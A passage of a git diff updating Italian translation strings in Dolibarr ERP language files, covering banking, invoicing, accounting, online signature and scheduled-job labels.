a/htdocs/langs/it_IT/banks.lang b/htdocs/langs/it_IT/banks.lang index f550d01d18c..9cb8db34504 100644 --- a/htdocs/langs/it_IT/banks.lang +++ b/htdocs/langs/it_IT/banks.lang @@ -95,11 +95,11 @@ LineRecord=Transazione AddBankRecord=Aggiungi operazione AddBankRecordLong=Aggiungi operazione manualmente Conciliated=Conciliata -ReConciliedBy=Reconciled by +ReConciliedBy=Riconciliato da DateConciliating=Data di conciliazione BankLineConciliated=Voce riconciliata con ricevuta bancaria -BankLineReconciled=Reconciled -BankLineNotReconciled=Not reconciled +BankLineReconciled=Riconciliato +BankLineNotReconciled=Non riconciliato CustomerInvoicePayment=Pagamento fattura attiva SupplierInvoicePayment=Pagamento fornitore SubscriptionPayment=Pagamento adesione @@ -172,8 +172,8 @@ SEPAMandate=Mandato SEPA YourSEPAMandate=I tuoi mandati SEPA FindYourSEPAMandate=Questo è il tuo mandato SEPA che autorizza la nostra azienda ad effettuare un ordine di addebito diretto alla tua banca. Da restituire firmata (scansione del documento firmato) o inviato all'indirizzo email AutoReportLastAccountStatement=Automatically fill the field 'number of bank statement' with last statement number when making reconciliation -CashControl=POS cash control -NewCashFence=New cash control (opening or closing) +CashControl=Controllo cassa POS +NewCashFence=Nuovo controllo cassa (apertura o chiusura) BankColorizeMovement=Colora i movimenti BankColorizeMovementDesc=Se questa funzione è abilitata, è possibile scegliere il colore di sfondo specifico per i movimenti di debito o credito BankColorizeMovementName1=Colore di sfondo per il movimento di debito @@ -182,6 +182,6 @@ IfYouDontReconcileDisableProperty=Se non esegui le riconciliazioni bancarie su a NoBankAccountDefined=Nessun conto bancario definito NoRecordFoundIBankcAccount=Nessun record trovato nel conto bancario. Comunemente, ciò si verifica quando un record è stato eliminato manualmente dall'elenco delle transazioni nel conto bancario (ad esempio durante una riconciliazione del conto bancario). Un altro motivo è che il pagamento è stato registrato quando il modulo "%s" è stato disabilitato. AlreadyOneBankAccount=È già stato definito un conto bancario -SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformation=SEPA transfer: 'Payment Type' at 'Credit Transfer' level -SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformationHelp=When generatin a SEPA XML file for Credit transfers, the section "PaymentTypeInformation" can now be placed inside the "CreditTransferTransactionInformation" section (instead of "Payment" section). We strongly recommend to keep this unchecked to place PaymentTypeInformation at Payment level, as all banks will not necessarily accept it at CreditTransferTransactionInformation level. Contact your bank before placing PaymentTypeInformation at CreditTransferTransactionInformation level. -ToCreateRelatedRecordIntoBank=To create missing related bank record +SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformation=Bonifico SEPA: 'Tipo di pagamento' a livello 'Bonifico' +SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformationHelp=Quando si genera un file XML SEPA per i bonifici, la sezione "PaymentTypeInformation" può ora essere collocata all'interno della sezione "CreditTransferTransactionInformation" (anziché nella sezione "Pagamento"). Raccomandiamo vivamente di non selezionare questa opzione per posizionare PaymentTypeInformation a livello di pagamento, poiché tutte le banche non lo accetteranno necessariamente a livello di CreditTransferTransactionInformation. Contatta la tua banca prima di inserire PaymentTypeInformation al livello CreditTransferTransactionInformation. +ToCreateRelatedRecordIntoBank=Per creare un record bancario correlato mancante diff --git a/htdocs/langs/it_IT/bills.lang b/htdocs/langs/it_IT/bills.lang index 8de711bae32..93abf3fad03 100644 --- a/htdocs/langs/it_IT/bills.lang +++ b/htdocs/langs/it_IT/bills.lang @@ -13,10 +13,12 @@ BillsStatistics=Statistiche fatture attive BillsStatisticsSuppliers=Statistiche fatture fornitore DisabledBecauseDispatchedInBookkeeping=Disabilitato perché la fattura è stata inviata alla contabilità DisabledBecauseNotLastInvoice=Disabilitato perché la fattura non è cancellabile. Alcune fatture sono state registrate dopo questa e si avrebbero errori nella sequenza di numerazione. +DisabledBecauseNotLastSituationInvoice=Disabled because invoice is not erasable. This invoice is not the last one in situation invoice cycle. DisabledBecauseNotErasable=Disabilitata perché impossibile da cancellare InvoiceStandard=Fattura Standard InvoiceStandardAsk=Fattura Standard InvoiceStandardDesc=Questo tipo di fattura è la fattura più comune. +InvoiceStandardShort=Standard InvoiceDeposit=Fattura d'acconto InvoiceDepositAsk=Fattura d'acconto InvoiceDepositDesc=Questo tipo di fattura viene usata quando si riceve un acconto. @@ -24,6 +26,7 @@ InvoiceProForma=Fattura proforma InvoiceProFormaAsk=Fattura proforma InvoiceProFormaDesc=La fattura proforma è uguale ad una fattura vera, ma non ha valore contabile. InvoiceReplacement=Fattura sostitutiva +InvoiceReplacementShort=Replacement InvoiceReplacementAsk=Fattura sostitutiva InvoiceReplacementDesc=Replacement invoice is used to completely replace an invoice with no payment already received.

      Note: Only invoices with no payment on it can be replaced. If the invoice you replace is not yet closed, it will be automatically closed to 'abandoned'. InvoiceAvoir=Nota di credito @@ -156,9 +159,10 @@ ErrorInvoiceAvoirMustBeNegative=Errore, la fattura a correzione deve avere un im ErrorInvoiceOfThisTypeMustBePositive=Errore, questo tipo di fattura deve avere importo positivo ErrorCantCancelIfReplacementInvoiceNotValidated=Errore, non si può annullare una fattura che è stato sostituita da un'altra fattura non ancora convalidata ErrorThisPartOrAnotherIsAlreadyUsedSoDiscountSerieCantBeRemoved=This part or another is already used so discount series cannot be removed. -ErrorInvoiceIsNotLastOfSameType=Error: The date of invoice %s is %s. It must be posterior or equal to last date for same type invoices (%s). Please change the invoice date. +ErrorInvoiceIsNotLastOfSameType=Errore: la data della fattura %s è %s. Deve essere posteriore o uguale all'ultima data per fatture dello stesso tipo (%s). Si prega di modificare la data della fattura. BillFrom=Da BillTo=A +ShippingTo=Shipping to ActionsOnBill=Azioni su fattura RecurringInvoiceTemplate=Template/fatture ricorrenti NoQualifiedRecurringInvoiceTemplateFound=Nessun modello ricorrente di fattura è abilitato per la generazione. @@ -214,8 +218,8 @@ NumberOfBillsByMonth=Numero di fatture per mese AmountOfBills=Importo delle fatture AmountOfBillsHT=Importo delle fature (al netto delle imposte) AmountOfBillsByMonthHT=Importo delle fatture per mese (al netto delle imposte) -UseSituationInvoices=Allow situation invoice -UseSituationInvoicesCreditNote=Allow situation invoice credit note +UseSituationInvoices=Consenti fatture stato avanzamento lavori +UseSituationInvoicesCreditNote=Consenti note di credito stato avanzamento lavori Retainedwarranty=Retained warranty AllowedInvoiceForRetainedWarranty=Garanzia trattenuta utilizzabile sulle seguenti tipologie di fatture RetainedwarrantyDefaultPercent=Retained warranty default percent @@ -230,7 +234,7 @@ setPaymentConditionsShortRetainedWarranty=Set retained warranty payment terms setretainedwarranty=Set retained warranty setretainedwarrantyDateLimit=Set retained warranty date limit RetainedWarrantyDateLimit=Retained warranty date limit -RetainedWarrantyNeed100Percent=The situation invoice need to be at 100%% progress to be displayed on PDF +RetainedWarrantyNeed100Percent=La fattura SAL deve essere al 100%%% di progresso per essere mostrata sul PDF AlreadyPaid=Già pagato AlreadyPaidBack=Già rimborsato AlreadyPaidNoCreditNotesNoDeposits=Già pagata (senza note di credito e note d'accredito) @@ -283,8 +287,8 @@ RecurringInvoices=Fatture ricorrenti RecurringInvoice=Fattura ricorrente RepeatableInvoice=Modello fattura RepeatableInvoices=Modello fatture -RecurringInvoicesJob=Generation of recurring invoices (sales invoices) -RecurringSupplierInvoicesJob=Generation of recurring invoices (purchase invoices) +RecurringInvoicesJob=Generazione di fatture ricorrenti (fatture di vendita) +RecurringSupplierInvoicesJob=Generazione di fatture ricorrenti (fatture di acquisto) Repeatable=Modello Repeatables=Modelli ChangeIntoRepeatableInvoice=Converti in modello di fattura @@ -374,9 +378,9 @@ PaymentOnDifferentThirdBills=Allow payments on different third parties bills but PaymentNote=Nota di pagamento ListOfPreviousSituationInvoices=Elenco delle fatture di avanzamento lavori precedenti ListOfNextSituationInvoices=Elenco delle prossime fatture di avanzamento lavori -ListOfSituationInvoices=List of situation invoices -CurrentSituationTotal=Total current situation -DisabledBecauseNotEnouthCreditNote=To remove a situation invoice from cycle, this invoice's credit note total must cover this invoice total +ListOfSituationInvoices=Elenco fatture SAL +CurrentSituationTotal=Totale SAL +DisabledBecauseNotEnouthCreditNote=Per rimuovere una fattura SAL dal ciclo, il totale della nota di credito deve copire l'intero importo totale della fattura RemoveSituationFromCycle=Remove this invoice from cycle ConfirmRemoveSituationFromCycle=Remove this invoice %s from cycle ? ConfirmOuting=Confirm outing @@ -429,14 +433,24 @@ PaymentConditionShort14D=14 giorni PaymentCondition14D=Pagamento a 14 giorni PaymentConditionShort14DENDMONTH=14 giorni fine mese PaymentCondition14DENDMONTH=Pagamento a 14 giorni fine mese +PaymentConditionShortDEP30PCTDEL=__DEPOSIT_PERCENT__%% deposito +PaymentConditionDEP30PCTDEL=__DEPOSIT_PERCENT__%% deposito, resto alla consegna FixAmount=Importo fisso - 1 riga con etichetta "%s" VarAmount=Importo variabile (%% tot.) VarAmountOneLine=Variable amount (%% tot.) - 1 line with label '%s' VarAmountAllLines=Importo variabile (%% tot.) - tutte le righe dall'origine +DepositPercent=Deposito %% +DepositGenerationPermittedByThePaymentTermsSelected=Ciò è consentito dai termini di pagamento selezionati +GenerateDeposit=Genera una fattura di deposito %s%% +ValidateGeneratedDeposit=Convalida il deposito generato +DepositGenerated=Deposito generato +ErrorCanOnlyAutomaticallyGenerateADepositFromProposalOrOrder=Puoi generare automaticamente un deposito solo da una proposta o da un ordine +ErrorPaymentConditionsNotEligibleToDepositCreation=Le condizioni di pagamento scelte non sono idonee per la generazione automatica del deposito # PaymentType PaymentTypeVIR=Bonifico bancario PaymentTypeShortVIR=Bonifico bancario PaymentTypePRE=Domiciliazione bancaria +PaymentTypePREdetails=(on account *-%s) PaymentTypeShortPRE=Domicil. banc. PaymentTypeLIQ=Pagamento in contanti PaymentTypeShortLIQ=Contanti @@ -485,7 +499,7 @@ PaymentByChequeOrderedToShort=I pagamenti tramite assegno (tasse incluse) devono SendTo=spedire a PaymentByTransferOnThisBankAccount=Pagamento tramite Bonifico sul seguente Conto Bancario VATIsNotUsedForInvoice=* Non applicabile IVA art-293B del CGI -VATIsNotUsedForInvoiceAsso=* Non applicable VAT art-261-7 of CGI +VATIsNotUsedForInvoiceAsso=* IVA non applicabile art-261-7 CGI LawApplicationPart1=Con l'applicazione della legge 80.335 del 12/05/80 LawApplicationPart2=I beni restano di proprietà della LawApplicationPart3=the seller until full payment of @@ -564,8 +578,8 @@ SituationAmount=Importo della fattura di avanzamento lavori (al netto delle impo SituationDeduction=Sottrazione avanzamento ModifyAllLines=Modifica tutte le righe CreateNextSituationInvoice=Crea il prossimo avanzamento lavori -ErrorFindNextSituationInvoice=Error unable to find next situation cycle ref -ErrorOutingSituationInvoiceOnUpdate=Unable to outing this situation invoice. +ErrorFindNextSituationInvoice=Errore: impossibile trovare il riferimento del ciclo di fatturazione SAL +ErrorOutingSituationInvoiceOnUpdate=Impossibile risolvere questa fatturazione SAL. ErrorOutingSituationInvoiceCreditNote=Unable to outing linked credit note. NotLastInCycle=Questa fattura non è la più recente e non può essere modificata DisabledBecauseNotLastInCycle=Il prossimo avanzamento lavori esiste già @@ -576,9 +590,9 @@ CantBeLessThanMinPercent=Il valore dell'avanzamento non può essere inferiore al NoSituations=Nessuna situazione aperta InvoiceSituationLast=Fattura a conclusione lavori PDFCrevetteSituationNumber=Situazione n°%s -PDFCrevetteSituationInvoiceLineDecompte=Fattura ad avanzamento lavori - COUNT +PDFCrevetteSituationInvoiceLineDecompte=Fattura ad avanzamento lavori - CONTA PDFCrevetteSituationInvoiceTitle=Fattura di avanzamento lavori -PDFCrevetteSituationInvoiceLine=Situation N°%s: Inv. N°%s on %s +PDFCrevetteSituationInvoiceLine=SAL N°%s: Fatt. N°%s su %s TotalSituationInvoice=Totale avanzamento lavori invoiceLineProgressError=L'avanzamento della riga fattura non può essere maggiore o uguale alla successiva riga fattura updatePriceNextInvoiceErrorUpdateline=Error: update price on invoice line: %s @@ -610,5 +624,10 @@ SearchUnpaidInvoicesWithDueDate=Cerca fatture non pagate con data di scadenza = NoPaymentAvailable=Nessun pagamento disponibile per %s PaymentRegisteredAndInvoiceSetToPaid=Pagamento registrato e fattura %s impostata su pagata SendEmailsRemindersOnInvoiceDueDate=Invia promemoria via e-mail per fatture non pagate -MakePaymentAndClassifyPayed=Record payment -BulkPaymentNotPossibleForInvoice=Bulk payment is not possible for invoice %s (bad type or status) +MakePaymentAndClassifyPayed=Registrare il pagamento +BulkPaymentNotPossibleForInvoice=Il pagamento in blocco non è possibile per la fattura %s (tipo o stato errato) +MentionVATDebitOptionIsOn=Option to pay tax based on debits +MentionCategoryOfOperations=Category of operations +MentionCategoryOfOperations0=Delivery of goods +MentionCategoryOfOperations1=Provision of services +MentionCategoryOfOperations2=Mixed - Delivery of goods & provision of services diff --git a/htdocs/langs/it_IT/bookmarks.lang b/htdocs/langs/it_IT/bookmarks.lang index 88e23214ccf..a1116c8062f 100644 --- a/htdocs/langs/it_IT/bookmarks.lang +++ b/htdocs/langs/it_IT/bookmarks.lang @@ -20,3 +20,4 @@ ChooseIfANewWindowMustBeOpenedOnClickOnBookmark=Scegli se la pagina collegata de BookmarksManagement=Gestione segnalibri BookmarksMenuShortCut=Ctrl + Maiusc + m NoBookmarks=Nessun segnalibro definito +NoBookmarkFound=Nessun segnalibro trovato diff --git a/htdocs/langs/it_IT/boxes.lang b/htdocs/langs/it_IT/boxes.lang index 217c7056940..86418b9435c 100644 --- a/htdocs/langs/it_IT/boxes.lang +++ b/htdocs/langs/it_IT/boxes.lang @@ -44,8 +44,10 @@ BoxTitleSupplierOrdersAwaitingReception=Ordini dei fornitori in attesa di ricezi BoxTitleLastModifiedContacts=Contatti/indirizzi: ultimi %s modificati BoxMyLastBookmarks=Segnalibri: ultimi %s modificati BoxOldestExpiredServices=Servizi scaduti da più tempo ancora attivi +BoxOldestActions=Oldest events to do BoxLastExpiredServices=Ultimi %s contatti con servizi scaduti ancora attivi BoxTitleLastActionsToDo=Ultime %s azioni da fare +BoxTitleOldestActionsToDo=Oldest %s events to do, not completed BoxTitleLastContracts=Gli ultimi contratti %s che sono stati modificati BoxTitleLastModifiedDonations=Ultime donazioni %s che sono state modificate BoxTitleLastModifiedExpenses=Ultime note spese %s che sono state modificate diff --git a/htdocs/langs/it_IT/commercial.lang b/htdocs/langs/it_IT/commercial.lang index 778c71d30d6..e857adbca42 100644 --- a/htdocs/langs/it_IT/commercial.lang +++ b/htdocs/langs/it_IT/commercial.lang @@ -74,8 +74,16 @@ StatusProsp=Stato del cliente potenziale DraftPropals=Bozze di proposte commerciali NoLimit=Nessun limite ToOfferALinkForOnlineSignature=Link per firma online -WelcomeOnOnlineSignaturePage=Benvenuti nella pagina per accettare proposte commerciali da %s -ThisScreenAllowsYouToSignDocFrom=Questa schermata consente di accettare e firmare, o rifiutare, un preventivo/proposta commerciale -ThisIsInformationOnDocumentToSign=Queste sono informazioni sul documento da accettare o rifiutare +WelcomeOnOnlineSignaturePageProposal=Welcome to the page to accept commercial proposals from %s +WelcomeOnOnlineSignaturePageContract=Welcome to %s Contract PDF Signing Page +WelcomeOnOnlineSignaturePageFichinter=Welcome to %s Intervention PDF Signing Page +ThisScreenAllowsYouToSignDocFromProposal=Questa schermata consente di accettare e firmare, o rifiutare, un preventivo/proposta commerciale +ThisScreenAllowsYouToSignDocFromContract=This screen allow you to sign contract on PDF format online. +ThisScreenAllowsYouToSignDocFromFichinter=This screen allow you to sign intervention on PDF format online. +ThisIsInformationOnDocumentToSignProposal=Queste sono informazioni sul documento da accettare o rifiutare +ThisIsInformationOnDocumentToSignContract=This is information on contract to sign +ThisIsInformationOnDocumentToSignFichinter=This is information on intervention to sign SignatureProposalRef=Firma del preventivo/proposta commerciale %s +SignatureContractRef=Signature of contract %s +SignatureFichinterRef=Signature of intervention %s FeatureOnlineSignDisabled=Funzionalità per la firma online disattivata o documento generato prima che la funzione fosse abilitata diff --git a/htdocs/langs/it_IT/companies.lang b/htdocs/langs/it_IT/companies.lang index 86f02c34c0c..a6ecd145e1c 100644 --- a/htdocs/langs/it_IT/companies.lang +++ b/htdocs/langs/it_IT/companies.lang @@ -312,12 +312,12 @@ CustomerRelativeDiscountShort=Sconto relativo CustomerAbsoluteDiscountShort=Sconto assoluto CompanyHasRelativeDiscount=Il cliente ha uno sconto del %s%% CompanyHasNoRelativeDiscount=Il cliente non ha alcuno sconto relativo impostato -HasRelativeDiscountFromSupplier=Hai uno sconto predefinito di %s%% da questo fornitore -HasNoRelativeDiscountFromSupplier=Non esistono sconti relativi predefiniti per questo fornitore\n +HasRelativeDiscountFromSupplier=You have a default discount of %s%% with this vendor +HasNoRelativeDiscountFromSupplier=No default relative discount with this vendor CompanyHasAbsoluteDiscount=Questo cliente ha degli sconti disponibili (note di credito o anticipi) per un totale di %s%s CompanyHasDownPaymentOrCommercialDiscount=Questo cliente ha uno sconto disponibile (commerciale, anticipi) per %s%s CompanyHasCreditNote=Il cliente ha ancora note di credito per %s %s -HasNoAbsoluteDiscountFromSupplier=Il fornitore non ha disponibile alcuno sconto assoluto per credito +HasNoAbsoluteDiscountFromSupplier=Nessuno sconto/credito disponibile da questo fornitore HasAbsoluteDiscountFromSupplier=You have discounts available (credits notes or down payments) for %s %s from this vendor HasDownPaymentOrCommercialDiscountFromSupplier=You have discounts available (commercial, down payments) for %s %s from this vendor HasCreditNoteFromSupplier=You have credit notes for %s %s from this vendor @@ -345,7 +345,7 @@ ContactByDefaultFor=Contatto / indirizzo predefinito per AddThirdParty=Crea soggetto terzo DeleteACompany=Elimina una società PersonalInformations=Dati personali -AccountancyCode=Account di contabilità +AccountancyCode=Conto di contabilità CustomerCode=Codice cliente SupplierCode=Codice fornitore CustomerCodeShort=Codice cliente @@ -444,7 +444,7 @@ AddAddress=Aggiungi un indirizzo SupplierCategory=Categoria fornitore JuridicalStatus200=Indipendente DeleteFile=Cancella il file -ConfirmDeleteFile=Are you sure you want to delete this file? +ConfirmDeleteFile=Sei sicuro di voler eliminare questo file %s ? AllocateCommercial=Assegna un commerciale Organization=Organizzazione FiscalYearInformation=Anno fiscale @@ -498,3 +498,8 @@ RestOfEurope=Resto d'Europa (CEE) OutOfEurope=Fuori dall'Europa (CEE) CurrentOutstandingBillLate=Fatture scadute in ritardo BecarefullChangeThirdpartyBeforeAddProductToInvoice=Fai attenzione, a seconda delle impostazioni del prezzo del prodotto, dovresti cambiare terze parti prima di aggiungere il prodotto al POS. +EmailAlreadyExistsPleaseRewriteYourCompanyName=l'email esiste già, controlla il nome della tua azienda +TwoRecordsOfCompanyName=more than one record exists for this company, please contact us to complete your partnership request +CompanySection=Company section +ShowSocialNetworks=Show social networks +HideSocialNetworks=Hide social networks diff --git a/htdocs/langs/it_IT/compta.lang b/htdocs/langs/it_IT/compta.lang index 1541aec5fbb..2fdaa413faa 100644 --- a/htdocs/langs/it_IT/compta.lang +++ b/htdocs/langs/it_IT/compta.lang @@ -13,8 +13,8 @@ LTReportBuildWithOptionDefinedInModule=I totali qui mostrati sono calcolati usan Param=Configurazione RemainingAmountPayment=Amount payment remaining: Account=Conto -Accountparent=Parent account -Accountsparent=Parent accounts +Accountparent=Conto padre +Accountsparent=Conti padre Income=Entrate Outcome=Uscite MenuReportInOut=Entrate/Uscite @@ -29,15 +29,17 @@ BalanceBefore=Bilancio (precedente) Balance=Saldo Debit=Debito Credit=Credito +AccountingDebit=Debit +AccountingCredit=Credito Piece=Documento contabile AmountHTVATRealReceived=Totale riscosso AmountHTVATRealPaid=Totale pagato VATToPay=Tax sales -VATReceived=Tax received +VATReceived=IVA Incassata VATToCollect=Tax purchases VATSummary=Tax monthly VATBalance=Tax Balance -VATPaid=Tax paid +VATPaid=IVA Versata LT1Summary=Tax 2 summary LT2Summary=Tax 3 summary LT1SummaryES=RE Balance @@ -116,8 +118,8 @@ SocialContributionsPayments=Pagamenti tasse/contributi ShowVatPayment=Visualizza pagamento IVA TotalToPay=Totale da pagare BalanceVisibilityDependsOnSortAndFilters=Il saldo è visibile in questo elenco solo se la tabella è ordinata su %s e filtrata su 1 conto bancario (senza altri filtri) -CustomerAccountancyCode=Customer accounting code -SupplierAccountancyCode=vendor accounting code +CustomerAccountancyCode=Codice contabile cliente +SupplierAccountancyCode=Codice contabile fornitore CustomerAccountancyCodeShort=Cod. cont. cliente SupplierAccountancyCodeShort=Cod. cont. fornitore AccountNumber=Numero di conto @@ -146,11 +148,11 @@ ConfirmPaySalary=Sei sicuro di voler classificare questa busta paga come pagata? DeleteSocialContribution=Cancella il pagamento della tassa/contributo DeleteVAT=Elimina una dichiarazione IVA DeleteSalary=Elimina una scheda stipendio -DeleteVariousPayment=Delete a various payment +DeleteVariousPayment=Elimina un pagamento diverso ConfirmDeleteSocialContribution=Sei sicuro di voler eliminare questo pagamento fiscale/sociale? ConfirmDeleteVAT=Sei sicuro di voler eliminare questa dichiarazione IVA? -ConfirmDeleteSalary=Are you sure you want to delete this salary ? -ConfirmDeleteVariousPayment=Are you sure you want to delete this various payment ? +ConfirmDeleteSalary=Sei sicuro di voler eliminare questo stipendio? +ConfirmDeleteVariousPayment=Sei sicuro di voler eliminare questi vari pagamenti? ExportDataset_tax_1=Tasse/contributi e pagamenti CalcModeVATDebt=Modalità %sIVA su contabilità d'impegno%s. CalcModeVATEngagement=Calcola %sIVA su entrate-uscite%s @@ -177,7 +179,7 @@ RulesResultDue=- Include tutte le fatture, spese, IVA, donazioni, stipendi, paga RulesResultInOut=- Comprende i pagamenti reali effettuati su fatture, spese, IVA e stipendi.
      - Si basa sulle date di pagamento di fatture, spese, IVA, donazioni e stipendi. RulesCADue=- Include le fatture scadute del cliente indipendentemente dal fatto che siano pagate o meno.
      - Si basa sulla data di fatturazione di queste fatture.
      RulesCAIn=- Comprende le fatture effettivamente pagate dai clienti.
      - Si basa sulla data dei pagamenti.
      -RulesCATotalSaleJournal=It includes all credit lines from the Sale journal. +RulesCATotalSaleJournal=Include tutte le righe di credito dal giornale di registrazione vendite. RulesSalesTurnoverOfIncomeAccounts=Comprende (accredito - addebito) di righe per conti prodotto nel gruppo ENTRATE RulesAmountOnInOutBookkeepingRecord=It includes record in your Ledger with accounting accounts that has the group "EXPENSE" or "INCOME" RulesResultBookkeepingPredefined=It includes record in your Ledger with accounting accounts that has the group "EXPENSE" or "INCOME" @@ -243,14 +245,14 @@ CalculationRuleDescSupplier=According to vendor, choose appropriate method to ap TurnoverPerProductInCommitmentAccountingNotRelevant=Il report sul fatturato per prodotto non è disponibile. Questo rapporto è disponibile solo per il fatturato. TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=The report of Turnover collected per sale tax rate is not available. This report is only available for turnover invoiced. CalculationMode=Metodo di calcolo -AccountancyJournal=Accounting code journal -ACCOUNTING_VAT_SOLD_ACCOUNT=Accounting account by default for VAT on sales (used if not defined on VAT dictionary setup) -ACCOUNTING_VAT_BUY_ACCOUNT=Accounting account by default for VAT on purchases (used if not defined on VAT dictionary setup) -ACCOUNTING_VAT_PAY_ACCOUNT=Codice contabile predefinito per il pagamento dell'IVA -ACCOUNTING_ACCOUNT_CUSTOMER=Accounting account used for customer third parties -ACCOUNTING_ACCOUNT_CUSTOMER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated customer accounting account on third party is not defined. -ACCOUNTING_ACCOUNT_SUPPLIER=Accounting account used for vendor third parties -ACCOUNTING_ACCOUNT_SUPPLIER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated vendor accounting account on third party is not defined. +AccountancyJournal=Libro contabile +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties +ACCOUNTING_ACCOUNT_CUSTOMER_Desc=Il conto di contabilità definito nella scheda del soggetto terzo verrà utilizzato solamente per il conto secondario. Questo valore verrà usato per il libro mastro e come valore di default del registro secondario se il codice contabile del cliente non è definito nella scheda del soggetto terzo. +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties +ACCOUNTING_ACCOUNT_SUPPLIER_Desc=Il conto di contabilità definito nella scheda del soggetto terzo verrà utilizzato solamente per il conto secondario. Questo valore verrà usato per il libro mastro e come valore di default del registro secondario se il codice contabile del fornitore non è definito nella scheda del soggetto terzo. ConfirmCloneTax=Confirm the clone of a social/fiscal tax ConfirmCloneVAT=Conferma il clone di una dichiarazione IVA ConfirmCloneSalary=Conferma il clone di uno stipendio @@ -268,7 +270,7 @@ ErrorBankAccountNotFound=Error: Bank account not found FiscalPeriod=Scheda periodo di esercizio ListSocialContributionAssociatedProject=Elenco tasse/contributi associati al progetto DeleteFromCat=Remove from accounting group -AccountingAffectation=Accounting assignment +AccountingAffectation=Piano dei conti assegnato LastDayTaxIsRelatedTo=Last day of period the tax is related to VATDue=Sale tax claimed ClaimedForThisPeriod=Claimed for the period @@ -289,9 +291,9 @@ ReportPurchaseTurnover=Fatturato di acquisto fatturato ReportPurchaseTurnoverCollected=Fatturato di acquisto raccolto IncludeVarpaysInResults = Includere vari pagamenti nei rapporti IncludeLoansInResults = Includere prestiti nei report -InvoiceLate30Days = Late (> 30 days) -InvoiceLate15Days = Late (15 to 30 days) -InvoiceLateMinus15Days = Late (< 15 days) +InvoiceLate30Days = In ritardo (> 30 giorni) +InvoiceLate15Days = Tardivo (da 15 a 30 giorni) +InvoiceLateMinus15Days = In ritardo (< 15 giorni) InvoiceNotLate = In scadenza (< 15 giorni) InvoiceNotLate15Days = In scadenza (tra 15 e 30 giorni) InvoiceNotLate30Days = In scadenza (> 30 giorni) @@ -300,3 +302,4 @@ InvoiceToPay15Days=Per pagare (da 15 a 30 giorni) InvoiceToPay30Days=Per pagare (> 30 giorni) ConfirmPreselectAccount=Preseleziona il codice contabile ConfirmPreselectAccountQuestion=Sei sicuro di voler preselezionare le righe selezionate %s con questo codice contabile? +AmountPaidMustMatchAmountOfDownPayment=L'importo pagato deve corrispondere all'importo dell'acconto diff --git a/htdocs/langs/it_IT/cron.lang b/htdocs/langs/it_IT/cron.lang index 165cc02c9c0..339661d2b30 100644 --- a/htdocs/langs/it_IT/cron.lang +++ b/htdocs/langs/it_IT/cron.lang @@ -16,7 +16,7 @@ CronExplainHowToRunWin=In ambienti Microsoft(tm) Windows per lanciare il comando CronMethodDoesNotExists=La classe %s non contiene alcune metodo %s CronMethodNotAllowed=Il metodo %s della classe %s è nella lista nera dei metodi vietati CronJobDefDesc=I profili cron sono definiti nel file di descrizione del modulo. Quando il modulo viene attivao, vengono caricati e resi disponivbili permettendoti di amministrare i processi dal menu strumenti amministrazione %s. -CronJobProfiles=Lista dei profili cron predefiniti +CronJobProfiles=Elenco dei profili cron predefiniti # Menu EnabledAndDisabled=Attivato e disattivato # Page list @@ -26,7 +26,7 @@ CronCommand=Comando CronList=Processi pianificati CronDelete=Cancella i processi pianificati CronConfirmDelete=Vuoi davvero eliminare questi processi pianificati? -CronExecute=Esegui i processi pianificati +CronExecute=Avvia ora CronConfirmExecute=Vuoi davvero eseguire ora i processi pianificati? CronInfo=Il modulo di programmazione permette di pianificare l'esecuzione automatica dei processi. Essi possono anche essere lanciati manualmente. CronTask=Processo @@ -58,7 +58,7 @@ CronNote=Commento CronFieldMandatory=Il campo %s è obbligatorio CronErrEndDateStartDt=La data di fine non può essere precedente a quella di inizio StatusAtInstall=Stato all'installazione del modulo -CronStatusActiveBtn=Programma +CronStatusActiveBtn=Attiva schedulazione CronStatusInactiveBtn=Disattiva CronTaskInactive=Questo processo è disattivo (non pianificato) CronId=Id @@ -82,10 +82,19 @@ UseMenuModuleToolsToAddCronJobs=Vai nel menu "Home - Strumenti di amministrazion JobDisabled=Processo disabilitato MakeLocalDatabaseDumpShort=Backup del database locale MakeLocalDatabaseDump=Create a local database dump. Parameters are: compression ('gz' or 'bz' or 'none'), backup type ('mysql' or 'pgsql'), 1, 'auto' or filename to build, number of backup files to keep +MakeSendLocalDatabaseDumpShort=Invia backup del database locale +MakeSendLocalDatabaseDump=Invia il backup del database locale tramite e-mail. I parametri sono: to, from, subject, message, filename (Nome del file inviato), filter ('sql' solo per il backup del database) +BackupIsTooLargeSend=Sorry, last backup file is too large to be send by email +CleanUnfinishedCronjobShort=Pulisci cronjob incompiuto +CleanUnfinishedCronjob=Pulisci cronjob bloccato in elaborazione quando il processo non è più in esecuzione WarningCronDelayed=Attenzione, per motivi di performance, qualunque sia la data della prossima esecuzione dei processi attivi, i tuoi processi possono essere ritardati di un massimo di %s ore prima di essere eseguiti DATAPOLICYJob=Pulizia dei dati e anonimizzatore JobXMustBeEnabled=Il job %s deve essere abilitato +EmailIfError=Email di avviso in caso di errore +ErrorInBatch=Errore durante l'esecuzione del lavoro %s + # Cron Boxes LastExecutedScheduledJob=Ultimo processo pianificato eseguito NextScheduledJobExecute=Prossimo processo pianificato da eseguire NumberScheduledJobError=Numero di processi pianificati in errore +NumberScheduledJobNeverFinished=Numero di lavori programmati mai terminati diff --git a/htdocs/langs/it_IT/datapolicy.lang b/htdocs/langs/it_IT/datapolicy.lang new file mode 100644 index 00000000000..7e42afedcbc --- /dev/null +++ b/htdocs/langs/it_IT/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public 